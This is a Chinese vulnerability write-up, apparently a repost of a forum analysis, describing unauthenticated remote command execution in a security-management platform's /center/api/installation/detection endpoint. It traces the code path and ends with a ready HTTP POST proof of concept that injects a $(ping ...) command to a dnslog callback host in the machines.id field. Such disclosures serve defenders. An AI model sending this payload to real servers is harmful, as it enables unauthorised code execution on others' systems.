漏洞介绍
某综合安防管理平台/center/api/installation/detection存在远程命令执行漏洞,未经身份验证的远程攻击者可通过该漏洞在服务器端任意执行代码。
漏洞分析
全局搜索路径/detection,定位代码DeployController,大概就是传入json格式的DetectRequestBean,当type的值为environment时,调用IInstallDetectServiceImpl#getSystemDetect方法处理DetectRequestBean
首先查看请求体,包括type,operate和MachineInstallationBean类的machines
跟进MachineInstallationBean,需要传入id、name、IP等
看完了参数,接下来看IInstallDetectServiceImpl#getSystemDetect具体处理过程,首先获取传入的Machines值,然后遍历Machines,获取其id值并赋值给餐宿agentNo,然后调用AgentOperationUtil.assembleCheckInstallEnvs
跟进AgentOperationUtil.assembleCheckInstallEnvs,将获取到的agentNo存入message中并返回
接着又调用AgentSendMessageConvert.convertExecuteCommand处理message,包括去除换行符、转义双引号等,并根据系统类型转换为对应的命令执行格式
最后调用DataCommonMethod.analysisCmdexeExecuteResult执行cmdArray
执行命令
主要还是调用DataCommonMethod.analysisCmdexeExecuteResult时,未对参数有任何过滤造成的,全局搜索该函数,跟一下对应的Controller函数,可以发现其他接口还是存在命令执行的。
漏洞POC
POST /center/api/installation/detection HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.1249.139 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Connection: close
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Content-Length: 148
{"type": "environment", "operate": "", "machines": {"id": "$(ping%20e19eb49e.log.dnslog.store)"}}
修复方式
升级补丁
原文作者:杰*啊 /
原文连接:https://xz.aliyun.com/t/15202
推 荐 阅 读
横向移动之RDP&Desktop Session Hija